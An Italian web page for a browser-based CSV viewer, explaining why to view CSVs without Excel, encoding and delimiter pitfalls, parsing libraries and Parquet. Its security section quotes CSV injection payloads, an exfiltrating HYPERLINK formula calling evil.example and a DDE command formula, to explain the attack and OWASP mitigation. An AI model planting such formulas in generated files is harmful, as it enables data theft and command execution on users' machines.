Visualizzatore CSV gratuito
Visualizza, ordina e cerca dati CSV all'istante. Supporta più delimitatori con rilevamento automatico. Carica o incolla testo CSV per analizzare i tuoi dati.
Carica un file CSV o incolla testo CSV per iniziare.
Informazioni sui file CSV
CSV (Comma-Separated Values) è un formato testo semplice per memorizzare dati tabulari. Ogni riga rappresenta una riga di dati e le virgole separano le colonne. CSV è ampiamente utilizzato per lo scambio di dati tra applicazioni, database e fogli di calcolo.
Caratteristiche del CSV:
- Formato universale: supportato da Excel, Google Sheets, database e dalla maggior parte degli strumenti di dati
- Semplice e portatile: testo semplice, leggibile da un umano, funziona su qualsiasi piattaforma
- Campi tra virgolette: i valori contenenti virgole o ritorni a capo possono essere racchiusi tra virgolette
- Più delimitatori: virgola, punto e virgola, tabulazione o barra verticale
- Intestazioni opzionali: la prima riga può contenere i nomi delle colonne
Come esportare dati in CSV?
In Excel: Salva con nome → CSV (separatore: punto e virgola). In Google Sheets: File → Scarica → CSV. Nella maggior parte dei database: Esporta → formato CSV. CSV è il formato di esportazione standard per i dati tabulari.
E se il mio CSV contiene caratteri speciali?
Il CSV gestisce i caratteri speciali tramite l'inserimento tra virgolette. I campi che contengono virgole, virgolette o ritorni a capo devono essere racchiusi tra virgolette doppie. Caratteri speciali come é, ñ o le emoji sono preservati se il file usa la codifica UTF-8.
Come funziona il rilevamento automatico del delimitatore?
Questo strumento analizza la prima riga del tuo CSV per rilevare quale delimitatore appare più regolarmente. Per risultati migliori con delimitatori insoliti, selezionalo manualmente dal menu a tendina.
Perché "visualizzare CSV senza Excel" è il proprio caso d'uso
La risposta ingenua a "come apro un CSV?" è "fai doppio clic; Excel lo apre." Quella risposta è sbagliata per una frazione sorprendente delle persone che effettivamente devono guardare un CSV. Le ragioni si dividono in quattro categorie, e ognuna è una vera ragione per atterrare su un visualizzatore basato su browser come questo.
1. Excel distrugge i dati all'apertura. L'esempio più citato è il disastro dei nomi dei geni, Excel legge MARCH1 e scrive 1-Mar, legge SEPT2 e scrive 2-Sep. L'HUGO Gene Nomenclature Committee ha rinunciato a combattere Excel e ha rinominato ventisette geni umani nel 2020 perché la corruzione dei dati era così pervasiva. Un articolo di PLOS Computational Biology del 2020 che ha esaminato 3.597 articoli ha trovato che circa un quinto dei dati genetici supplementari era stato silenziosamente alterato dall'auto-conversione di Excel. I geni sono il caso famoso ma lo stesso meccanismo divora i codici ZIP USA (01234 diventa 1234), gli SKU di prodotto con zeri iniziali, la notazione frazionaria in musica o chimica (3/4, 4/4), i numeri di serie a forma di date (1-1, 2-2), gli interni telefonici, e i numeri di conto in notazione scientifica (9.18e+12 invece di 9180000000000). Un visualizzatore, qualcosa che mostra i byte grezzi come scritti, non è solo una comodità; è una primitiva di correttezza. Se devi verificare che una colonna di ID cliente sia sopravvissuta intatta a un'esportazione, hai bisogno di un visualizzatore che non analizzi, non costringa, non "aiuti."
2. Excel non è sulla macchina. Una frazione non banale dei laptop nel 2026 non ha una licenza Microsoft 365. I Chromebook vengono spediti senza; molte installazioni Linux usano LibreOffice Calc con le sue stranezze; molti utenti Mac aprono i CSV in Apple Numbers, che avvolge silenziosamente le righe lunghe e ha la sua personalità di coercizione numerica. Chiunque cerchi di ispezionare un file su una macchina aziendale su cui non può installare software, o su un dispositivo prestato, o su un chiosco, ha bisogno di uno strumento che funzioni in qualsiasi scheda del browser senza permessi.
3. Il file è più grande di quanto Excel permetta. Excel 2007 ha introdotto .xlsx e ha sollevato il tetto delle righe da 65.536 righe di .xls a 1.048.576 righe (2²⁰). Il tetto delle colonne è andato da 256 a 16.384 (2¹⁴). Per due decenni è stato sufficiente per la maggior parte delle persone. Non è più sufficiente per molti. Un modesto log del server può produrre due milioni di righe in una settimana. Un'esportazione Shopify di un anno di ordini per un negozio di medie dimensioni può superare il milione. Un flusso di sensori che campiona a un hertz produce 86.400 righe al giorno; un anno è 31,5 milioni. La gestione di overflow di Excel è brutale: tronca silenziosamente alla riga 1.048.576 e continua come se nulla fosse. Non c'è alcun banner di avviso. L'utente scopre le righe mancanti settimane dopo, se mai.
4. Mobile. Le app di fogli di calcolo su iOS e Android sono cittadini di seconda classe. L'app mobile Excel esiste ma è bloccata dietro un account Microsoft, ha un piccolo sottoinsieme delle funzionalità desktop, ed è dolorosa per ispezionare tabelle larghe su un telefono. A volte hai solo bisogno di aprire un allegato che un collega ti ha inviato via email, dare un'occhiata a poche righe, fare uno screenshot, e rispondere. Un visualizzatore CSV che si carica in un browser mobile, formatta i dati come una tabella HTML scorrevole, e non fa nient'altro è lo strumento migliore per quel lavoro.
E un quinto, più piccolo: screenshot per un messaggio. Spesso quello che una persona vuole effettivamente è una visualizzazione pulita di tre o quattro righe che può incollare in Slack, in un ticket, in una risposta email. Aprire il file in Excel e fare lo screenshot di quello produce un'immagine con un ribbon, linee della griglia, il selettore della cella attiva, e la striscia del percorso del file in alto, il venti per cento dello screenshot è chrome di Excel. Una tabella HTML nuda renderizzata in una scheda del browser è il soggetto di screenshot più pulito possibile.
Una breve storia (le parti che contano per la visualizzazione)
La storia completa del CSV è nella pagina compagna text-to-csv, IBM Fortran 1972, decenni di uso informale, RFC 4180 finalmente pubblicato nell'ottobre 2005 da Yakov Shafranovich, tipo MIME text/csv registrato con IANA, il W3C Model for Tabular Data and Metadata on the Web (CSVW) che raggiunge lo stato di W3C Recommendation il 17 dicembre 2015 (e viene per lo più ignorato nella pratica). Ciò che conta per la visualizzazione specificamente è che nessuno di quei documenti specifica come visualizzare un CSV. Non c'è una larghezza canonica delle colonne, nessuna convenzione di allineamento, nessuna regola sul fatto che la riga 1 sia un'intestazione. RFC 4180 dice allo scrittore come effettuare l'escape delle virgole; non dice al lettore nulla su come renderizzare. Il lavoro del visualizzatore non è definito dalla specifica.
Quello che abbiamo sono convenzioni che sono sorte nei software di fogli di calcolo (allinea a sinistra il testo, allinea a destra i numeri, congela la prima riga, alternare i colori delle righe per la leggibilità) e convenzioni dalle tabelle web (intestazioni ordinabili, posizionamento sticky, input di ricerca sopra la griglia). Un moderno visualizzatore CSV è essenzialmente un'interfaccia di foglio di calcolo meno l'editing.
Le trappole del separatore di locale e del BOM
Il caos del separatore di locale che colpisce gli scrittori CSV colpisce anche i lettori, virgola in en-US, punto e virgola in fr-FR / de-DE / it-IT / es-ES / pt-BR, tab e pipe ovunque altrove. Un visualizzatore che codifica rigidamente la virgola e renderizza un "CSV" francese come una singola colonna per riga è rotto all'arrivo. Il "Auto-detect" predefinito di questo strumento con override manuale è il design giusto: cerca di fare la cosa intelligente, ma quando l'euristica fallisce (e lo farà, su file con una singola colonna di valori che tutti contengono una virgola), l'utente può scegliere.
Il byte-order mark, i tre byte EF BB BF all'inizio di un file UTF-8, che codificano U+FEFF, esiste perché Excel su Windows si rifiuta di rilevare UTF-8 senza di esso. Uno scrittore CSV educato antepone il BOM per essere Excel-friendly; il costo cade su ogni altro lettore. Quasi ogni strumento da riga di comando, awk, cut, head, tail, sed più vecchio, tratta il BOM come parte del primo campo. Un'intestazione di colonna che dovrebbe leggere name legge name. Il modulo csv built-in di Python non rimuove il BOM a meno che il file non venga aperto con il codec utf-8-sig; un milione di tutorial usano il semplice utf-8 e producono silenziosamente parser rotti. Se vedi un carattere strano prima dell'intestazione della tua prima colonna, è un byte-order mark UTF-8, non un bug nel file, solo un mismatch tra encoder e decoder.
Le quattro varianti CSV di Excel
La finestra di dialogo Salva con nome di Excel offre quattro formati "CSV", e le etichette sono fuorvianti. Le etichette "Comma delimited" usano in realtà il separatore di elenco locale dell'utente, che è un punto e virgola nella maggior parte dell'Europa continentale e dell'America Latina.
- CSV (Comma delimited): usa il separatore di elenco locale dell'utente, code page ANSI, nessun BOM, CRLF.
- CSV UTF-8 (Comma delimited): aggiunto in Excel 2016, l'unico dei quattro che usa UTF-8 (con un BOM).
- CSV (Macintosh): codifica MacRoman, fine riga CR-only di Mac classico, in gran parte obsoleto ma ancora in apparizione.
- CSV (MS-DOS): code page OEM (CP437 in en-US, CP850 nell'Europa occidentale).
Un visualizzatore che vuole "semplicemente funzionare" su ogni variante deve rilevare la codifica (UTF-8 ± BOM, UTF-16 con BOM, Windows-1252, ISO-8859-1, MacRoman, Shift_JIS, GBK), le terminazioni di riga (CRLF / LF / CR), il separatore (virgola / punto e virgola / tab / pipe / personalizzato), lo stile di quoting (RFC 4180 doubled-quote, backslash, nessuno), e la presenza dell'intestazione. Rilevare tutto questo in modo affidabile è genuinamente difficile. L'approccio pragmatico è: rileva ciò che puoi, esponi override manuali per il resto, e non fallire mai silenziosamente. Questo strumento espone il delimitatore manualmente, che gestisce la sorpresa più comune. Attualmente non espone la codifica, un CSV francese esportato come Windows-1252 con caratteri accentati visualizzerà mojibake (é invece di é) finché anche quello non riceve un override appropriato.
Parsing lato browser, le librerie
La libreria CSV lato client dominante è PapaParse, creata da Matt Holt nel 2013 e attualmente intorno a 13,4k stelle GitHub. Il suo slogan, "il parser CSV più veloce in-browser", non è iperbole. È conforme a RFC 4180, con licenza MIT, dependency-free, e supporta il parsing sincrono di stringhe, il parsing asincrono di file tramite FileReader, il parsing streaming chunk-by-chunk per file più grandi della RAM, e il parsing su worker-thread per mantenere l'UI reattiva. PapaParse è il predefinito in qualsiasi strumento CSV lato browser a meno che non ci sia una ragione specifica per non farlo.
Sul lato Node, la scelta canonica è csv-parse (Adaltas, prima rilasciata nel 2010), testata in battaglia, espone sia API basate su callback che API basate su stream. csv-parser di mafintosh dà priorità al throughput grezzo rispetto all'ampiezza delle funzionalità. fast-csv (C2FO) è una coppia parser-e-formatter costruita in TypeScript per le aziende che vogliono sia la lettura che la scrittura nella stessa libreria.
Streaming per file più grandi della RAM
La lettura CSV ingenua nel browser usa FileReader.readAsText(file), che legge l'intero file in memoria prima di invocare onload. Per un file di cento megabyte, sono cento megabyte di heap JavaScript. Per un file di un gigabyte, la scheda del browser esaurirà la memoria o si bloccherà su gran parte dell'hardware consumer.
L'alternativa moderna è la Streams API, disponibile come File.prototype.stream() da Chrome 71 e Firefox 65. Chiamare file.stream() restituisce un ReadableStream<Uint8Array> che produce i byte del file in chunk. Il consumatore legge dallo stream, decodifica ogni chunk tramite TextDecoder (con il flag stream: true in modo che le sequenze UTF-8 multi-byte che attraversano i confini dei chunk vengano correttamente cucite), e alimenta il testo a un parser streaming. PapaParse può ingerire uno stream direttamente tramite il suo callback step o chunk. Il risultato è il parsing a memoria costante di file arbitrariamente grandi.
Per un visualizzatore, lo streaming da solo non è sufficiente, anche la tabella renderizzata deve essere virtualizzata, altrimenti renderizzare dieci milioni di elementi <tr> manda in crash la pagina anche se il parsing ha avuto successo. Il pattern di architettura standard: stream-parse-to-IndexedDB al caricamento, virtualised-render-from-IndexedDB allo scorrimento. Questo strumento è attualmente ottimizzato per file in bassi decine di megabyte, per il tipico workflow "voglio solo guardare questo file" che copre quasi tutti. Per CSV multi-gigabyte, guarda strumenti desktop come Visidata, la clausola FROM della CLI DuckDB, o csvlook di csvkit.
Ordinamento, filtraggio, pivot, il panorama delle griglie JavaScript
Una volta che i dati sono nella pagina, l'utente vuole fare tre cose: ordinare per colonna, filtrare le righe, a volte fare pivot. C'è un'intera industria di librerie JavaScript che reimplementano queste nel DOM del browser:
- DataTables.js di Allan Jardine (il lavoro è iniziato nel 2008, SpryMedia formata nel 2011) è il nonno. Prendi qualsiasi HTML
<table>, ottieni intestazioni ordinabili, un input di ricerca istantanea, paginazione e controlli di mostra/nasconde colonne. Originariamente basato su jQuery; funziona bene come drop-in. Confortevole fino a decine di migliaia di righe; per centinaia di migliaia la paginazione diventa portante. - AG Grid di Niall Crosby (2015, nato dalla frustrazione di Crosby con le griglie sui pavimenti di trading di Londra) è il pesi massimi. Costruito attorno alla virtualizzazione DOM, solo le righe visibili nel viewport sono effettivamente renderizzate, quindi può comodamente visualizzare un milione di righe con una singola scrollbar. Community Edition gratuita (MIT) più una Enterprise Edition a pagamento (tabelle pivot, filtri avanzati, grafici integrati, modelli di righe server-side). Scelta predefinita per "Sto costruendo uno strumento dati serio che deve sembrare Excel nel browser."
- Tabulator di Oli Folkerd è la moderna alternativa dependency-free. La versione 4.0 (2018) ha eliminato tutte le dipendenze incluso jQuery; si trova nel punto dolce tra "DataTables è troppo jQuery-flavoured" e "AG Grid è troppo."
Per il pivot specificamente, PivotTable.js di Nicolas Kruchten è la libreria JS più citata; la modalità pivot di AG Grid Enterprise è la scelta commerciale. Il pivot è un'operazione pesante spesso meglio fatta esportando i dati a uno strumento che può indicizzarli prima.
CSV vs Apache Parquet per carichi di lavoro analitici
La ragione per cui CSV sopravvive è culturale e inerziale, non tecnica. Per analisi serie, il formato che ha mangiato il pranzo di CSV è Apache Parquet, un formato colonnare binario sviluppato originariamente congiuntamente da ingegneri di Twitter e Cloudera nel 2013, accettato come progetto top-level dell'Apache Software Foundation il 27 aprile 2015. Parquet memorizza i dati colonna-per-colonna anziché riga-per-riga, che è l'inversione che conta per l'analisi: una query come SELECT AVG(price) FROM big_table legge solo la colonna price dal disco, saltando completamente ogni altra colonna. Con CSV, la stessa query deve leggere ogni byte del file.
Parquet trasporta anche metadati dello schema (quindi i tipi sono espliciti, non inferiti), usa la compressione colonnare che raggiunge regolarmente rapporti 5-10x rispetto al CSV non compresso, e supporta il predicate pushdown in modo che i motori possano saltare interi gruppi di righe basandosi sulle statistiche delle colonne. È il formato di file predefinito su Snowflake, BigQuery, Databricks, Amazon Athena, e essenzialmente ogni moderno data warehouse cloud e lakehouse. Se stai visualizzando ripetutamente lo stesso file su scala gigabyte, considera Parquet, è più veloce e più piccolo e quasi ogni strumento dati moderno lo legge nativamente. CSV è ora meglio compreso come il formato di interscambio tra umani e la lunga coda di software consumer, mentre Parquet è il formato di archiviazione tra macchine.
CSV injection, l'angolo di sicurezza
CSV injection, a volte chiamata formula injection, è l'attacco in cui un valore in una cella CSV inizia con =, +, -, o @, facendo sì che Excel e Google Sheets lo interpretino come una formula quando il file viene aperto. OWASP lo ha documentato dal almeno il 2014. L'esempio da manuale è =2+5 che renderizza come 7 invece che come il testo letterale. L'esempio pericoloso è =HYPERLINK("https://evil.example/log?d="&A1, "Click for results") che, quando cliccato, esfiltra il contenuto della cella A1 a un attaccante. L'esempio davvero pericoloso era =cmd|'/c calc'!A0, che su alcune versioni di Excel poteva lanciare comandi arbitrari via DDE, sostanzialmente mitigato dai cambiamenti DDE predefiniti di Microsoft del 2018, ma ancora presente in alcune configurazioni.
La mitigazione standard, secondo la guida OWASP: quando si genera un CSV da testo inviato dall'utente, anteporre qualsiasi cella che inizia con =, +, -, @, tab, o carriage-return con una virgoletta singola. Un visualizzatore è il lato ricevente di questo attacco, non il lato originante, ma se hai aperto qui un CSV che contiene celle con prefisso di formula, è un forte suggerimento di non aprire lo stesso file in Excel senza prima sostituire quelle celle. L'intero punto di ispezionare prima in un visualizzatore è catturare esattamente questo tipo di trappola.
Luoghi del mondo reale dove le persone aprono questo tipo di visualizzatore
- CSV di estratti conto bancari o fintech. La maggior parte delle banche al dettaglio permette ai clienti di scaricare un anno di cronologia delle transazioni come CSV. I clienti vogliono guardare il file prima di importarlo in un'app di budget, uno strumento fiscale, o il foglio di calcolo di un commercialista, verificare l'intervallo di date, contare le transazioni, cercare un commerciante specifico.
- Esportazioni di dati IoT e sensori. CSV di stazione meteo, log di sensore di umidità del suolo, esportazione di contatore elettrico smart-home. Spesso decine di migliaia di righe. L'utente sta confermando che il campionamento è continuato per un intervallo particolare e non ci sono lacune.
- Dump dei log server. Formato log combinato Apache convertito in CSV, record syslog esportati tramite
logger -t, log applicativi spediti a S3 e scaricati per l'ispezione. - Esportazioni CRM e SaaS. Esportazione Account di Salesforce, contatti HubSpot, clienti Stripe, audience Mailchimp, ordini Shopify, database Notion. Ogni piattaforma SaaS ha il proprio formato CSV e le proprie stranezze. L'utente sta ispezionando prima di un bulk-edit, prima di un re-import, o prima di consegnare il file a un collega.
- Risposte ai sondaggi. Google Forms, SurveyMonkey, Typeform, Qualtrics, tutti esportano CSV per impostazione predefinita. I ricercatori vogliono guardare le risposte open-text, avere un senso della distribuzione, verificare che nulla sia vuoto.
- Download di dati pubblici. Portali di dati aperti governativi (data.gov, data.gov.uk, l'EU Open Data Portal), esportazioni dati Wikipedia, repository di dati scientifici. CSV è il denominatore universale.
- Preparazione di import in blocco. L'utente ha assemblato un CSV a mano o con un altro strumento e vuole verificare che sia ben formato prima di caricarlo in un sistema che rifiuterà silenziosamente le righe malformate. Il visualizzatore è la prova-a-secco.
- Eredità. Un collega ha inviato un CSV. L'utente non sa cosa c'è dentro. Vogliono dare un'occhiata prima di decidere se impegnarsi più profondamente.
Altre domande
Quanto grande può aprire un file?
L'implementazione attuale è confortevole con file in bassi decine di megabyte, il tipo che si adatta facilmente alla memoria del browser e renderizza come una ragionevole tabella HTML. Per file in centinaia di megabyte o più, la pagina diventerà lenta; per file di gigabyte, la scheda del browser può esaurire la memoria e crashare. Per CSV molto grandi, guarda strumenti desktop come Visidata, csvlook di csvkit, o FROM 'file.csv' SELECT della CLI DuckDB.
Perché il mio CSV sembra una sola colonna gigante?
L'auto-rilevamento del delimitatore ha indovinato male. Questo è più comune quando il file usa punti e virgola (la maggior parte dell'Europa continentale), tab (file TSV mal etichettati come CSV), o pipe (alcune esportazioni di database). Cambia il menu a tendina del delimitatore al carattere corretto, spesso l'estensione del file e il contenuto effettivo non sono d'accordo.
I miei caratteri accentati sembrano spazzatura. Cosa c'è di sbagliato?
Mismatch di codifica, il file è codificato in Windows-1252 (o un'altra codifica non-UTF-8) e lo strumento lo sta interpretando come UTF-8. Il sintomo classico è é che appare come é. Il visualizzatore attuale non espone un override di codifica, ma puoi ri-salvare il file come UTF-8 in qualsiasi moderno editor di testo (Notepad++, VS Code, BBEdit, gedit, persino Notepad su Windows recente) e ri-aprirlo qui.
Dovrei usare questo o semplicemente aprirlo in Excel?
Se il tuo CSV contiene solo dati che Excel non può accidentalmente corrompere, colonne di testo puro in prosa, semplici interi in un intervallo normale, date nel formato che Excel si aspetta, Excel va bene e gli strumenti di editing sono più ricchi. Se il tuo CSV contiene qualsiasi cosa che Excel potrebbe riscrivere (nomi di geni, codici ZIP con zeri iniziali, frazioni come 3/4, stringhe a forma di notazione scientifica, qualsiasi cosa che devi preservare byte-per-byte), aprilo prima in un visualizzatore per confermare cosa c'è dentro prima di lasciare che Excel lo tocchi. L'ora che spendi aprendolo qui è molto più economica che scoprire una settimana dopo che Excel ha rinominato il tuo set di geni.